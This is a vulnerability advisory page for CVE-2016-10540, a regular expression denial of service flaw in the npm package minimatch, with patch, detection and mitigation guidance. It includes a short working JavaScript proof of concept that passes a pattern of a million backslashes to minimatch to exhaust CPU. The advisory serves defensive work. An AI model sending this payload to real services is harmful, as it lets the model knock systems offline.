CVE-2016-10540 — minimatch
HIGHCVE-2016-10540 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in minimatch. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for minimatch — see the affected versions and patch details below.
Regular Expression Denial of Service in minimatch
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
minimatchnpmDescription
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | minimatch | all versions | 3.0.2npm install minimatch@3.0.2 |
Affected Products
minimatchminimatch_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for minimatch, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update minimatch to 3.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2016-10540 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2016-10540 in your dependencies?
Find it across npm, including transitive dependencies.